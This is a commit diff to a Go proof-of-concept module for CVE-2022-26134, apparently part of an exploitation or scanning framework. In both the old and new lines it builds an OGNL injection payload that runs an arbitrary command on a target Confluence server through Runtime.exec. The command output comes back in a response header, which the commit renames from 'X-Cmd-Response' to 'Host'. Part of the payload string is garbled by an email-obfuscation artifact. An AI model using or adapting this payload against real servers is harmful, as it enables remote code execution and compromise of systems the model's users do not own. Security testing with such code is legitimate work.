🪂 修改CVE-2022-26134的Response头为Host

Author: SummerSec

cmd/commons/poc/2022/CVE-2022-26134.go

@@ -35,7 +35,7 @@ func (t CVE202226134) SendPoc(target string, hashmap map[string]interface{}) {
 		}
 		cmd = th
 	}
-	payload := fmt.Sprintf("${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec(\"%s\").getInputStream(),\"utf-8\")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(\"X-Cmd-Response\",#a))}", cmd)
+	payload := fmt.Sprintf("${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec(\"%s\").getInputStream(),\"utf-8\")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(\"Host\",#a))}", cmd)
 	payload, _ = req2.Encode(payload, "utf8")
 	target1 := target + payload + "/"
 
@@ -44,7 +44,7 @@ func (t CVE202226134) SendPoc(target string, hashmap map[string]interface{}) {
 
 	resp := utils.Send(reqmap)
 
-	res := resp2.HandlerRespHeader(resp, "X-Cmd-Response")
+	res := resp2.HandlerRespHeader(resp, "Host")
 	if t.CheckExp(resp, target1, hashmap) {
 		if res != "" {
 			//res = utils.DecodeBase64String(res)